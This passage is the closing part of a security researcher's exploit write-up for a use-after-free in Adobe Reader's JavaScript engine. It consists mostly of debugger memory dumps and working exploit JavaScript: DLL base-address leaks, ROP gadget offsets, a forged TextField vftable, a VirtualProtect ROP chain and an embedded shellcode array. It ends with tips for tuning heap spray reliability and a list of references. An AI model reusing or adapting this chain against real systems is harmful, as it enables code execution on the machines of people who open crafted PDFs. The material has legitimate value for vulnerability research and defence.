09c299d0 0a7c0258 00000000 09c1ec40 ffffff87 ; [0] -> ESObject
; the 5-th dword 0a7c0258 of JSObject is an ESObject
0:009> dd 0a7c0258
0a7c0258 095eb8b8 09c299c0 00000000 097ed778 ; [1] -> JSObject
0a7c0268 0a72b370 097142b8 00000000 00000000 ; [0] -> Private Property Table
0a7c0278 09715330 00000000 086f9f90 08a49dd0 ; [2] -> leak AcroForm.api base
0a7c0288 00000000 08780810 00000000 086f9ca0
0a7c0298 00000000 00000000
0:009> !heap -p -a 0a7c0258
address 0a7c0258 found in
_HEAP @ 2bb0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0a7c0250 000a 0000 [00] 0a7c0258 00048 - (busy)
By dumping pointers from AcroForm.api, we managed to find the following:
0935abe0 519d1e03 icucnv58!ucnv_open_58
0935abe4 519d06c1 icucnv58!ucnv_close_58
0935abe8 519d2201 icucnv58!ucnv_setSubstChars_58
0935abec 519d08e1 icucnv58!ucnv_convertEx_58
0935abf0 519ea0ae icucnv58!udata_setCommonData_58
Now we can leak the base of icucnv58.dll
to build the ROP chain.
var icucnv58_base = g_read(acroform_base + 0xc3abe0) - 0x11e03;
console.println("[+] icucnv58.dll: 0x" + icucnv58_base.toString(16));
// a86f5089230164fb6359374e70fe1739 - md5sum of icucnv58.dll
g1 = icucnv58_base + 0x919d4 + 0x1000; //mov esp, ebx ; pop ebx ; ret
g3 = icucnv58_base + 0x37e50 + 0x1000; //pop esp; ret
We use the same trigger as [4]. As prepared in step 10, we assign a TextField
object into fakeArrObj[6]
. Following similar analysis to the XMLNode
object, we can find the actual TextField
object hence its vftable pointers:
// .rdata:007E677C ; const CTextField::'vftable'
var f1_jsobj = g_read(arr_elem + 0x30); // 0x0f0f0068
var f1_esobj = g_read(f1_jsobj + 0x10);
var f1_txobj = g_read(g_read(g_read(f1_esobj + 0x10) + 0xc) + 0x4);
console.println("[+] TextField object: 0x" + f1_txobj.toString(16));
; fakeArrObj[6] = this.getField("Field1");
0f0f0058 0a3299c0 ffffff87 00000000 0f0f0038
0f0f0068 0a329a10 ffffff87 00000000 00000000
0:009> dd 0a329a10 ; JSObject
0a329a10 0a32fe68 0a3259a0 11999618 7adc5528
0a329a20 0aecdb68 00000000 0a3241f0 ffffff87
0:009> dd 0aecdb68 ; ESObject
0aecdb68 09ce6f50 0a329a10 00000000 0adb0df0 ; [3] -> "Field"
0aecdb78 0ae36cb8 00000000 00000000 00000000 ; [0] -> 11a4c7a8
0aecdb88 0ae36768 00000000 00000000 00000000
0aecdb98 00000000 08f527d0 00000000 00000000
0aecdba8 00000000 00000000
; The address of the field object: ESObject[4][3]+4
After the actual TextField object is found, we proceed with a similar technique as the trigger [4].
GUESS = g_base + 0x30;
/* copy CTextField vftable */
var tx_vftable = g_read(f1_txobj);
console.println("[+] TextField vtable: 0x" + tx_vftable.toString(16));
for(var i=0; i < 32; i++)
g_write(GUESS+64+i*4, g_read(tx_vftable+i*4)); // copy 0x20 entries
/* replace the trigger pointer */
g_write(GUESS+64+0x18*4, g1); // replace vftable[0x18]
/* 1st rop chain */
MARK_ADDR = f1_txobj;
g_write(MARK_ADDR+4, g3);
g_write(MARK_ADDR+8, GUESS+0xc0);
/* 2nd rop chain */
rop = [
g_read(escript_base + 0x01AF058), // VirtualProtect 2020.009.20063
GUESS+0x120, // return address
GUESS+0x120, // buffer
0x1000, // sz
0x40, // new protect
GUESS-0x10 // old protect
];
for(var i=0; i < rop.length; i++)
g_write(GUESS+0xc0+4*i, rop[i]);
shellcode = [
835867240, 1667329123, 1415139921, 1686860336, 2339769483,
1980542347, 814448152, 2338274443, 1545566347, 1948196865,
4270543903, 605009708, 390218413, 2168194903, 1768834421,
4035671071, 469892611, 1018101719, 2425393296 ];
for(var i=0; i < shellcode.length; i++)
g_write(GUESS+0x120+i*4, re(shellcode[i]));
We choose to overwrite vftable[0x18]
after testing many of the functions of a TextField
. Then we swap the fake vftable with the real one for field1
. The actual trigger as below:
/* overwrite TextField object vftable */
g_write(MARK_ADDR, GUESS+64);
field1.delay = true;
field1.delay = false;
By fine tuning the spray amount and spray offset, the exploit can be made very reliable. The parameters for tuning are:
spray_base
, currently at 0x14000048
; also used in constructing esobj_str
.spray_size
, currently 0xd00
.afterGC()
timeout, currently at 10 milliseconds.Choices of spray_base
and spray_size
should give a good (if not the best) chance that spray_base
falls into the sprayed ArrayBuffer
objects, for a specific or multiple versions of OS and Reader combination. Meanwhile spray_size
also affect the memory footprint. For the timeout, generally the smaller value, the higher chance that the key step of controlling the freed ESObject and assigning the crafted Array
JSObject
address from ESObject would succeed.
Abdul-Aziz Hariri and Mat Powell, CVE-2020-9715: Exploiting a Use-After-Free in Adobe Reader
Ke Liu (@klotxl404), Pwning Adobe Reader Multiple Times with Malformed Strings
Patroklos Argyroudis (@argp), OR'LYEH? The Shadow over Firefox
Phan Thanh Duy (@PTDuy), TianFu Cup 2019: Adobe Reader Exploitation
Sebastian Apelt (@bitshifter123), sample_exploit_0write.js